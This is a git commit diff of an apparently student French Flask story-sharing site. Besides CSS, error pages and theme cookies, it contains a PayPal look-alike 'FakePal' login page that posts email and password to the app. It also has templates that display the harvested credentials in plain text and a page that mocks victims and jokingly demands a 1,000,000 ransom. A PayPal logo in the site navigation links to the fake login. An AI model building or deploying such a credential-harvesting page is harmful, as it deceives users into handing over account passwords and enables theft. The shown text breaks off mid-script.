changes
This commit is contained in:
√(noham)²
parent
6c30975f67
commit
ebe21a776f
@ -1,3 +1,4 @@
|
||||
/* importation de la police dyslexique */
|
||||
@font-face {
|
||||
font-family: OpenDyslexic;
|
||||
src: url(../font/open_dyslexic/OpenDyslexic-Regular.otf);
|
||||
@ -9,13 +10,6 @@
|
||||
--police: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
|
||||
}
|
||||
|
||||
|
||||
test {
|
||||
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
}
|
||||
|
||||
html {
|
||||
background: var(--background);
|
||||
color: var(--ecriture);
|
||||
@ -34,7 +28,7 @@ body {
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
|
||||
/* barre de navigation */
|
||||
nav {
|
||||
width: 99%;
|
||||
position: sticky;
|
||||
@ -48,7 +42,6 @@ nav {
|
||||
border-collapse: collapse;
|
||||
width: 100%;
|
||||
text-align: center;
|
||||
/* background-color: rgba(255, 255, 255, 0.4); */
|
||||
}
|
||||
|
||||
.menuItem {
|
||||
@ -89,7 +82,7 @@ a:visited {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
|
||||
/* bouton dyslexique */
|
||||
#dyslexique {
|
||||
background-color: #5c5cfd;
|
||||
padding-bottom: 0px;
|
||||
@ -100,10 +93,7 @@ a:visited {
|
||||
font-size: .7rem;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* slider */
|
||||
|
||||
.slider {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
@ -112,15 +102,4 @@ a:visited {
|
||||
margin-bottom: auto;
|
||||
font-size: 300px;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.minuteur {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-top: auto;
|
||||
margin-bottom: auto;
|
||||
font-size: 300px;
|
||||
font-weight: 500;
|
||||
|
||||
}
|
||||
46
static/css/erreur.css
Normal file
46
static/css/erreur.css
Normal file
@ -0,0 +1,46 @@
|
||||
html {
|
||||
font-size: 1.5rem;
|
||||
font-family: var(--police);
|
||||
}
|
||||
|
||||
#content2 {
|
||||
text-align: center;
|
||||
justify-content: center;
|
||||
width: 900px;
|
||||
}
|
||||
|
||||
.contentchild {
|
||||
margin: 50px;
|
||||
}
|
||||
|
||||
/* bouton retour à l'accueil */
|
||||
.clique {
|
||||
display: flex;
|
||||
background-color: #0000ff94;
|
||||
padding: 20px;
|
||||
padding-bottom: 0px;
|
||||
border-radius: 30px;
|
||||
box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
|
||||
width: auto;
|
||||
height: auto;
|
||||
max-width: 700;
|
||||
transition: all ,0.5s;
|
||||
}
|
||||
|
||||
|
||||
.clique:hover {
|
||||
box-shadow: 0px 25px 80px rgba(0, 0, 0, 0.60);
|
||||
}
|
||||
|
||||
.clique>a>img {
|
||||
height: 50px;
|
||||
width: 50px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
display: flex;
|
||||
/* padding: 20px; */
|
||||
}
|
||||
|
||||
.clique>a>h2 {
|
||||
text-align: center;
|
||||
}
|
||||
@ -1,21 +1,23 @@
|
||||
#fiche {
|
||||
padding-top: 5rem;
|
||||
width: 400px;
|
||||
padding-top: 3rem;
|
||||
width: 1200px;
|
||||
margin: auto;
|
||||
text-align: center;
|
||||
text-align: left;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
#content2 {
|
||||
padding-top: 5rem;
|
||||
padding-top: 3rem;
|
||||
}
|
||||
|
||||
#fiche>tbody>tr {
|
||||
margin: 50px;
|
||||
height: 50px;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
|
||||
#fiche>tbody>tr>td {
|
||||
margin: 50px;
|
||||
padding: 20px;
|
||||
font-weight: 600;
|
||||
}
|
||||
24
static/css/infopaypal.css
Normal file
24
static/css/infopaypal.css
Normal file
@ -0,0 +1,24 @@
|
||||
#fiche {
|
||||
padding-top: 3rem;
|
||||
width: 1200px;
|
||||
margin: auto;
|
||||
text-align: left;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
#content2 {
|
||||
padding-top: 3rem;
|
||||
}
|
||||
|
||||
#fiche>tbody>tr {
|
||||
margin: 50px;
|
||||
height: 50px;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
#fiche>tbody>tr>td {
|
||||
font-size: 1.5rem;
|
||||
margin: 50px;
|
||||
padding: 20px;
|
||||
font-weight: 600;
|
||||
}
|
||||
@ -1,3 +1,8 @@
|
||||
#content2 {
|
||||
padding-top: 3rem;
|
||||
}
|
||||
|
||||
/* lorsqu'il y a une histoire */
|
||||
#button {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
@ -6,10 +11,6 @@
|
||||
margin: 30px;
|
||||
}
|
||||
|
||||
#content2 {
|
||||
padding-top: 3rem;
|
||||
}
|
||||
|
||||
#submit {
|
||||
display: inline-block;
|
||||
border-radius: 20px;
|
||||
@ -23,10 +24,9 @@
|
||||
transition: all 0.5s;
|
||||
cursor: pointer;
|
||||
margin: 5px;
|
||||
transition: all ,0.5s;
|
||||
transition: all, 0.5s;
|
||||
}
|
||||
|
||||
|
||||
#submit:hover {
|
||||
box-shadow: 0px 25px 80px rgb(0 0 0 / 70%);
|
||||
}
|
||||
@ -54,4 +54,43 @@
|
||||
#submit:hover span:after {
|
||||
opacity: 1;
|
||||
right: 0;
|
||||
}
|
||||
|
||||
|
||||
/* lorsque aucune histoire */
|
||||
.contentchild {
|
||||
margin: 50px;
|
||||
}
|
||||
|
||||
.clique {
|
||||
display: flex;
|
||||
background-color: #0000ff94;
|
||||
padding: 20px;
|
||||
padding-bottom: 0px;
|
||||
border-radius: 30px;
|
||||
box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
|
||||
width: auto;
|
||||
height: auto;
|
||||
max-width: 700;
|
||||
transition: all, 0.5s;
|
||||
}
|
||||
|
||||
.clique:hover {
|
||||
box-shadow: 0px 25px 80px rgba(0, 0, 0, 0.60);
|
||||
}
|
||||
|
||||
.clique>a>img {
|
||||
height: 50px;
|
||||
width: 50px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.clique>a>h2 {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#content1 {
|
||||
padding-top: 3rem;
|
||||
}
|
||||
@ -12,6 +12,8 @@ html {
|
||||
.contentchild {
|
||||
margin: 50px;
|
||||
}
|
||||
|
||||
/* bouton pour ajouter une histoire */
|
||||
.clique {
|
||||
display: flex;
|
||||
background-color: #0000ff94;
|
||||
|
||||
@ -2,6 +2,11 @@ label {
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
#formNouvelleHistoire,
|
||||
#formListeHist {
|
||||
padding-top: 3rem;
|
||||
}
|
||||
|
||||
#nouvelle {
|
||||
width: 400px;
|
||||
margin: auto;
|
||||
@ -18,23 +23,7 @@ label {
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
|
||||
/* #formListePerso>button {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
margin: 5px;
|
||||
background-color: rgba(0, 0, 0, 0.4);
|
||||
border: solid 1px black;
|
||||
} */
|
||||
|
||||
#formNouveauPerso,
|
||||
#formListePerso {
|
||||
padding-top: 5rem;
|
||||
/* width: 300px; */
|
||||
}
|
||||
|
||||
|
||||
/* bouton envoyer */
|
||||
#button {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
|
||||
24
templates/404.html
Normal file
24
templates/404.html
Normal file
@ -0,0 +1,24 @@
|
||||
{% extends 'template.html' %}
|
||||
|
||||
{% block title %}
|
||||
404
|
||||
{% endblock %}
|
||||
|
||||
{% block head %}
|
||||
<link href="{{ url_for('static', filename='css/erreur.css') }}" rel="stylesheet" />
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div id="content2">
|
||||
<h1>Erreur 404</h1>
|
||||
<h2>Cette page n'existe pas</h2>
|
||||
<div class="contentchild">
|
||||
<div class="clique">
|
||||
<a href="/main" class="link">
|
||||
<img src="../static/img/main/plus.png" alt="plus">
|
||||
<h2>Retourner à l'accueil !</h2>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
24
templates/405.html
Normal file
24
templates/405.html
Normal file
@ -0,0 +1,24 @@
|
||||
{% extends 'template.html' %}
|
||||
|
||||
{% block title %}
|
||||
405
|
||||
{% endblock %}
|
||||
|
||||
{% block head %}
|
||||
<link href="{{ url_for('static', filename='css/erreur.css') }}" rel="stylesheet" />
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div id="content2">
|
||||
<h1>Erreur</h1>
|
||||
<h2>Not found</h2>
|
||||
<div class="contentchild">
|
||||
<div class="clique">
|
||||
<a href="/main" class="link">
|
||||
<img src="../static/img/main/plus.png" alt="plus">
|
||||
<h2>Retourner à l'accueil !</h2>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
24
templates/500.html
Normal file
24
templates/500.html
Normal file
@ -0,0 +1,24 @@
|
||||
{% extends 'template.html' %}
|
||||
|
||||
{% block title %}
|
||||
500
|
||||
{% endblock %}
|
||||
|
||||
{% block head %}
|
||||
<link href="{{ url_for('static', filename='css/erreur.css') }}" rel="stylesheet" />
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div id="content2">
|
||||
<h1>Erreur 500</h1>
|
||||
<h2>Internal Server Error</h2>
|
||||
<div class="contentchild">
|
||||
<div class="clique">
|
||||
<a href="/main" class="link">
|
||||
<img src="../static/img/main/plus.png" alt="plus">
|
||||
<h2>Retourner à l'accueil !</h2>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@ -1,6 +1,5 @@
|
||||
{% extends 'template.html' %}
|
||||
|
||||
|
||||
{% block content %}
|
||||
<h1>Rien pour le moment</h1>
|
||||
<a href="{{ url_for('listepaypal') }}">Liste des comptes paypal</a>
|
||||
|
||||
@ -4,91 +4,44 @@
|
||||
Fiche
|
||||
{% endblock %}
|
||||
|
||||
|
||||
{% block head %}
|
||||
<link href="{{ url_for('static', filename='css/fiche.css') }}" rel="stylesheet" />
|
||||
{% endblock %}
|
||||
|
||||
|
||||
{% block content %}
|
||||
<div id="content2">
|
||||
<table id="fiche" class="changingfontsize">
|
||||
<tr>
|
||||
<td>Nom d'utilisateur :</td>
|
||||
<td>{% if perso["anonyme"]=='on' %}
|
||||
<td>{% if hist["anonyme"]=='on' %}
|
||||
<p>L'utilisateur est anonyme</p>
|
||||
{% else %}
|
||||
<p>{{ perso["nom"] }}</p>
|
||||
<p>{{ hist["nom"] }}</p>
|
||||
{% endif %}
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
|
||||
<tr>
|
||||
<td>Genre :</td>
|
||||
<td>{{ perso["classe"] }}</td>
|
||||
<td>{{ hist["classe"] }}</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Titre :</td>
|
||||
<td>{{ perso["titre"] }}</td>
|
||||
<td>{{ hist["titre"] }}</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Rapide résumé :</td>
|
||||
<td>{{ perso["resume"] }}</td>
|
||||
<td>{{ hist["resume"] }}</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Histoire :</td>
|
||||
<td>
|
||||
<p>{{ perso["histoire"] }}</p>
|
||||
<p>{{ hist["histoire"] }}</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Note personnelle :</td>
|
||||
<td>{{ perso["note_personnelle"] }}</td>
|
||||
<td>{{ hist["note_personnelle"] }}</td>
|
||||
</tr>
|
||||
|
||||
|
||||
<!-- <tr>
|
||||
<td>Nom d'utilisateur :</td>
|
||||
<td>{% if exemple["anonyme"]=='on' %}
|
||||
<p>L'utilisateur est anonyme</p>
|
||||
{% else %}
|
||||
<p>{{ exemple["nom"] }}</p>
|
||||
{% endif %}
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
|
||||
<tr>
|
||||
<td>Genre :</td>
|
||||
<td>{{ exemple["classe"] }}</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Titre :</td>
|
||||
<td>{{ exemple["titre"] }}</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Rapide résumé :</td>
|
||||
<td>{{ exemple["resume"] }}</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Histoire :</td>
|
||||
<td>
|
||||
<p>{{ exemple["histoire"] }}</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td>Note personnelle :</td>
|
||||
<td>{{ exemple["note_personnelle"] }}</td>
|
||||
</tr> -->
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
@ -4,18 +4,31 @@
|
||||
Informations récupérées de PayPal
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<table id="fiche">
|
||||
<tr>
|
||||
<td>Email :</td>
|
||||
<td>
|
||||
<p>{{ account["email"] }}</p>
|
||||
</td>
|
||||
</tr>
|
||||
{% block head %}
|
||||
<link href="{{ url_for('static', filename='css/infopaypal.css') }}" rel="stylesheet" />
|
||||
{% endblock %}
|
||||
|
||||
<tr>
|
||||
<td>Password :</td>
|
||||
<td>{{ account["password"] }}</td>
|
||||
</tr>
|
||||
</table>
|
||||
{% block content %}
|
||||
<div id='content2'>
|
||||
<table id="fiche" class="changingfontsize">
|
||||
<tr>
|
||||
<td>Email :</td>
|
||||
<td>
|
||||
<p>{{ account["email"] }}</p>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Password :</td>
|
||||
<td>{{ account["password"] }}</td>
|
||||
</tr>
|
||||
</table>
|
||||
<div>
|
||||
<h1>Bonjour, Nous sommes là pour vous informer de l’erreur monumentale que comment des milliers de personnes de
|
||||
ce monde. Le fait de donner vos informations personnelles à des inconnus ne facilite pas votre sécurité.
|
||||
<br>
|
||||
La prochaine fois soyer plus malin que 75 % des gens de cette misérable planète… <br>
|
||||
(Rassurez-vous, une rançon de 1 000 000 $ / £ / € est disponible pour récupérer votre pleine sécurité)
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@ -9,19 +9,31 @@ Fiche de personnage
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
{% if liste == [] %}
|
||||
<div id="content1">
|
||||
<h1>Aucune histoire disponible...</h1>
|
||||
<div class="contentchild">
|
||||
<div class="clique">
|
||||
<a href="/nouvelle" class="link">
|
||||
<img src="../static/img/main/plus.png" alt="plus">
|
||||
<h2>Ajoute ton histoire !</h2>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% else %}
|
||||
<div id="content2">
|
||||
<form action="{{ url_for('ficheDepuisListe')}}" method="post" id="formListePerso" class="changingfontsize">
|
||||
{% for perso in liste %}
|
||||
<div id="button"><button type="submit" id="submit" name='nom' value='{{ perso["nom"] }}'>
|
||||
Utilisateur : {{ perso["nom"] }}
|
||||
<form action="{{ url_for('ficheDepuisListe')}}" method="post" id="formListeHist" class="changingfontsize">
|
||||
{% for hist in liste %}
|
||||
<div id="button"><button type="submit" id="submit" name='nom' value='{{ hist["nom"] }}'>
|
||||
Utilisateur : {{ hist["nom"] }}
|
||||
<br><br>
|
||||
Titre : {{ perso["titre"] }}
|
||||
Titre : {{ hist["titre"] }}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{% endfor %}
|
||||
</form>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{% endif %}
|
||||
{% endblock %}
|
||||
@ -5,13 +5,13 @@ Fiche de personnage
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<form action="{{ url_for('ficheDepuisListepaypal')}}" method="post" id="formListePerso">
|
||||
<form action="{{ url_for('ficheDepuisListepaypal')}}" method="post" id="formListeHist">
|
||||
{% for account in liste2 %}
|
||||
<button name='nom' value='{{ account["nom"] }}' disabled>
|
||||
{{ account["email"] }}
|
||||
<br>
|
||||
{{ account["password"] }}
|
||||
</button>
|
||||
<button name='nom' value='{{ account["nom"] }}' disabled>
|
||||
{{ account["email"] }}
|
||||
<br>
|
||||
{{ account["password"] }}
|
||||
</button>
|
||||
{% endfor %}
|
||||
</form>
|
||||
</ul>
|
||||
|
||||
@ -13,15 +13,9 @@ Accueil
|
||||
<div class="contentchild">
|
||||
<h1>Présentation rapide du projet :</h1>
|
||||
<article>
|
||||
Notre projet est de créer un site permettant à des utilisateurs de partager leurs histoires afin de créer une communauté soudée. </article>
|
||||
Notre projet est de créer un site permettant à des utilisateurs de partager leurs histoires afin de créer une
|
||||
communauté soudée. </article>
|
||||
</div>
|
||||
|
||||
<!-- <div class="contentchild"><h1>Une histoire aléatoire</h1>
|
||||
<article>
|
||||
Aliquam tincidunt, purus at eleifend pellentesque, orci neque posuere mauris, nec malesuada felis lorem sit amet odio. Vestibulum rutrum mi non vehicula convallis. Quisque interdum in nibh eu fermentum. In hac habitasse platea dictumst. Sed faucibus imperdiet erat quis facilisis. Vivamus efficitur neque vitae ornare lacinia. Suspendisse sit amet luctus quam. Donec posuere odio metus, non tincidunt arcu ultricies eu. In id massa pulvinar, pretium ante ut, molestie risus. Curabitur nulla eros, semper sit amet augue ut, auctor aliquet ligula. Sed sed varius odio, gravida luctus ligula. Phasellus eu mi dapibus, pretium dui eget, sollicitudin odio.
|
||||
</article></div>
|
||||
-->
|
||||
<br>
|
||||
<div class="contentchild">
|
||||
<div class="clique">
|
||||
<a href="/nouvelle" class="link">
|
||||
@ -30,18 +24,16 @@ Accueil
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="contentchild">
|
||||
<h1>Contexte, Remerciements, Chartes</h1>
|
||||
<article>
|
||||
“Aujourd’hui plus personne ne veut lire de livre. Ils sont passés et rendent solitaire. Pour une société en plein
|
||||
“Aujourd’hui plus personne ne veut lire de livres. Ils sont dépassés et rendent solitaire. Pour une société en
|
||||
plein
|
||||
changement nous souhaitons nous adapter en proposant des histoires inconnues et en vous laissant le choix de créer
|
||||
la vôtre. Laissez libre court à votre imagination tout en proposant des améliorations à l'auteur. Pour la
|
||||
la vôtre. Laissez libre cours à votre imagination tout en proposant des améliorations à l'auteur. Pour la
|
||||
première fois le lecteur et l’auteur peuvent s’intervertir pour des histoires ouvertes sur l’avenir...”
|
||||
|
||||
<h3>Maxime Capdegelle, Chef du projet Legere</h2> </article>
|
||||
<h3>Maxime Capdegelle, Chef du projet Legere</h2>
|
||||
</article>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
@ -9,23 +9,20 @@ Publication
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<form action="{{ url_for('ajouter')}}" method="post" id="formNouveauPerso">
|
||||
<form action="{{ url_for('ajouter')}}" method="post" id="formNouvelleHistoire">
|
||||
<table id="nouvelle" class="changingfontsize">
|
||||
<tr>
|
||||
<td><label for="nom">Nom d'utilisateur :</label></td>
|
||||
<td><input type="text" name="nom" required="required"/></td>
|
||||
<td><input type="text" name="nom" required="required" /></td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td><label for="anonyme">Anonyme :</label></td>
|
||||
<td><input type="checkbox" name="anonyme"></td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td><label for="titre">Titre :</label></td>
|
||||
<td><input type="text" name="titre" required="required"/></td>
|
||||
<td><input type="text" name="titre" required="required" /></td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td><label for="nom">Genre :</label></td>
|
||||
<td>
|
||||
@ -36,25 +33,21 @@ Publication
|
||||
</select>
|
||||
<td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td><label for="histoire">Votre histoire :</label></td>
|
||||
<td><textarea name="histoire" style="max-width: 200px;" required="required"></textarea></td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td><label for="resume">Rapide résumé :</label></td>
|
||||
<td><input type="text" name="resume" required="required"/></td>
|
||||
<td><input type="text" name="resume" required="required" /></td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<td><label for="note_personnelle">Note personnelle :</label></td>
|
||||
<td><input type="text" name="note_personnelle" required="required"/></td>
|
||||
<td><input type="text" name="note_personnelle" required="required" /></td>
|
||||
</tr>
|
||||
</table>
|
||||
<div id="button">
|
||||
<button type="submit" id="submit"><span>Envoyer </span></button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
{% endblock %}
|
||||
@ -1,13 +1,5 @@
|
||||
<!--
|
||||
<!DOCTYPE html>
|
||||
<!--[if lt IE 9]><html lang="en" class="no-js lower-than-ie9 ie desktop"><![endif]-->
|
||||
<!--[if lt IE 10]><html lang="en" class="no-js lower-than-ie10 ie desktop"><![endif]-->
|
||||
<!--[if !IE]>-->
|
||||
<html lang="en">
|
||||
<!--<![endif]-->
|
||||
|
||||
<head>
|
||||
<!--Script info: script: node, template: , date: Nov 21, 2022 01:40:18 -08:00, country: TW, language: en web version: content version: hostname : rZJvnqaaQhLn/nmWT8cSUm+72VQ7inHLmNSWW7oQxSqkM7CaNNY3vwwDZDVc+NwN rlogid : rZJvnqaaQhLn%2FnmWT8cSUotSylMGOTGkRUMDpmUTvbXdvevuMMFAfVANbpv53MZEySepZVSpTWRYJ8c9hOdmTcn%2BHSxZ2SMb_184998f5480 -->
|
||||
<meta charset="utf-8">
|
||||
<title>Log in to your FakePal account</title>
|
||||
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
|
||||
@ -27,7 +19,6 @@
|
||||
<meta property="og:image" content="https://www.paypalobjects.com/webstatic/icon/pp258.png">
|
||||
<link rel="stylesheet"
|
||||
href="https://www.paypalobjects.com/web/res/814/0ed5dab5e678c14296dd49b2a68b4/css/contextualLoginElementalUIv2.css">
|
||||
|
||||
</head>
|
||||
|
||||
<body>
|
||||
@ -51,52 +42,35 @@
|
||||
<p id="pwdSubTagLine" class="subHeaderText ">With a FakePal account, you're eligible for Purchase Protection
|
||||
and Rewards.</p>
|
||||
<div class="notifications"></div>
|
||||
|
||||
<!-- form -->
|
||||
|
||||
<!-- <form action="{{ url_for('addinfopaypal')}}" method="post" id="FormPaypalInformation"></form> -->
|
||||
<form action="{{ url_for('addinfopaypal')}}" method="post">
|
||||
|
||||
<!-- passwordSection -->
|
||||
|
||||
<div id="passwordSection" class="clearfix splitEmail">
|
||||
<div id="splitEmailSection" class="splitPhoneSection splitEmailSection">
|
||||
<div class="textInput" id="login_emaildiv" style="z-index: 1;">
|
||||
<div class="fieldWrapper">
|
||||
|
||||
<!-- input -->
|
||||
<input id="email" name="email" type="email" class="hasHelp validate validateEmpty "
|
||||
required="required" autocomplete="username" placeholder="Email or mobile number"
|
||||
aria-describedby="emailErrorMessage">
|
||||
|
||||
<input id="email" name="email" type="email" class="hasHelp validate validateEmpty " required="required" autocomplete="username" placeholder="Email or mobile number" aria-describedby="emailErrorMessage">
|
||||
<!-- label -->
|
||||
<label for="email" class="fieldLabel">Email or mobile number</label>
|
||||
<label for="email" class="fieldLabel">Email</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="passwordSection" class="clearfix showHideButtonForEligibleBrowser">
|
||||
<div class="textInput " id="login_passworddiv" style="z-index: 1;">
|
||||
<div class="fieldWrapper">
|
||||
|
||||
<!-- input -->
|
||||
<input id="password" name="password" type="password"
|
||||
class="hasHelp validateEmpty pin-password" required="required" value="" placeholder="Password"
|
||||
aria-describedby="passwordErrorMessage">
|
||||
|
||||
<input id="password" name="password" type="password" class="hasHelp validateEmpty pin-password" required="required" value="" placeholder="Password" aria-describedby="passwordErrorMessage">
|
||||
<!-- label -->
|
||||
<label for="password" class="fieldLabel">Password</label>
|
||||
<label for="Show password" class="fieldLabel">Show password</label>
|
||||
</div>
|
||||
</div>
|
||||
<a href="#" id="forgotPassword" class="recoveryOption forgotPassword"
|
||||
data-client-log-action-type="clickForgotPasswordLink" pa-marked="1">Forgot password?</a>
|
||||
<a href="#" id="forgotPassword" class="recoveryOption forgotPassword" data-client-log-action-type="clickForgotPasswordLink" pa-marked="1">Forgot password?</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- button -->
|
||||
<div class="actions">
|
||||
<button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit" id="btnLogin"
|
||||
name="btnLogin" value="Login" pa-marked="1">Log In</button>
|
||||
<button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit" id="btnLogin" name="btnLogin" value="Login" pa-marked="1">Log In</button>
|
||||
</div>
|
||||
</form>
|
||||
<div id="tryAnotherWayLinkContainer" class="tryAnotherWayLinkContainer " data-hide-on-pass="">
|
||||
@ -127,26 +101,25 @@
|
||||
<div class="legalFooter">
|
||||
<ul class="footerGroup">
|
||||
<li>
|
||||
<a target="_blank" href="https://www.paypal.com//smarthelp/contact-us" pa-marked="1">Contact Us</a>
|
||||
<a target="_blank" href="#" pa-marked="1">Contact Us</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/privacy-full" pa-marked="1">Privacy</a>
|
||||
<a target="_blank" href="#" pa-marked="1">Privacy</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/legalhub-full" pa-marked="1">Legal</a>
|
||||
<a target="_blank" href="#" pa-marked="1">Legal</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/upcoming-policies-full" pa-marked="1">Policy
|
||||
<a target="_blank" href="#" pa-marked="1">Policy
|
||||
Updates</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="" pa-marked="1">Worldwide</a>
|
||||
<a target="_blank" href="#" pa-marked="1">Worldwide</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</footer>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@ -8,21 +8,18 @@
|
||||
<title>{% block title %} {% endblock %}</title>
|
||||
<link href="{{ url_for('static', filename='css/common.css') }}" rel="stylesheet" />
|
||||
<link rel="shortcut icon" href="../static/img/logo2.ico" type="image/x-icon">
|
||||
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<body onload="checkCookie(), checkCookie2()">
|
||||
<nav>
|
||||
<table id="menu">
|
||||
<tr>
|
||||
<td class='menuItem'><a href="{{ url_for('main') }}"><img src="../static/img/logo.png" alt="logo" width="50rem"
|
||||
height="50rem" style="margin: 15px;"></a></td>
|
||||
|
||||
<td class='menuItem'><a href="{{ url_for('liste') }}">Lire des histoires</a></td>
|
||||
|
||||
<td class='menuItem'><a href="{{ url_for('nouvelle') }}">Publier une histoire</a></td>
|
||||
<td class="menuItem"><a href="{{ url_for('don') }}"><img src="../static/img/paypal-logo.png" alt="paypal-logo"
|
||||
style="max-width: 50px; max-height: 50px; margin: 15px;"></a></td>
|
||||
<td class="menuItem"><a href="{{ url_for('paypal') }}"><img src="../static/img/paypal-logo.png"
|
||||
alt="paypal-logo" style="max-width: 50px; max-height: 50px; margin: 15px;"></a></td>
|
||||
<td class="menuItem2">
|
||||
<div class="changeTheme"><img src="../static/img/blackandwhite.png" alt="blackandwhite"
|
||||
style="max-width: 50px; max-height: 50px; margin: 10px;"></div>
|
||||
@ -30,7 +27,7 @@
|
||||
</div>
|
||||
<div class="slider">
|
||||
<div id="glissière" onclick="taille()" class="col">
|
||||
<input id="entree" type="range" oninput="taille()" min="100" max="300" class="slider">
|
||||
<input id="entree" type="range" oninput="taille()" min="75" max="300" class="slider">
|
||||
</div>
|
||||
</div>
|
||||
</td>
|
||||
@ -43,37 +40,73 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
const switchThemeBtn = document.querySelector('.changeTheme')
|
||||
let toggleTheme = 0;
|
||||
let toggle2Theme = 0;
|
||||
var darkMode = getCookie("dark-mode");
|
||||
var dyslexiqueMode = getCookie("dyslexique-mode")
|
||||
|
||||
|
||||
function getCookie(name) {
|
||||
var value = "; " + document.cookie;
|
||||
var parts = value.split("; " + name + "=");
|
||||
if (parts.length == 2) return parts.pop().split(";").shift();
|
||||
}
|
||||
|
||||
// cookie pour le mode sombre
|
||||
function checkCookie() {
|
||||
if (darkMode == "true") {
|
||||
document.documentElement.style.setProperty('--ecriture', '#f1f1f1');
|
||||
document.documentElement.style.setProperty('--background', '#262626');
|
||||
toggleTheme--;
|
||||
} else if (darkMode == "false") {
|
||||
document.documentElement.style.setProperty('--ecriture', '#262626');
|
||||
document.documentElement.style.setProperty('--background', '#f1f1f1');
|
||||
}
|
||||
}
|
||||
|
||||
// cookie pour le mode dyslexique
|
||||
function checkCookie2() {
|
||||
if (dyslexiqueMode == "true") {
|
||||
document.documentElement.style.setProperty('--police', "OpenDyslexic");
|
||||
toggle2Theme--;
|
||||
} else if (dyslexiqueMode == "false") {
|
||||
document.documentElement.style.setProperty('--police', "system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif");
|
||||
}
|
||||
}
|
||||
|
||||
// mode sombre
|
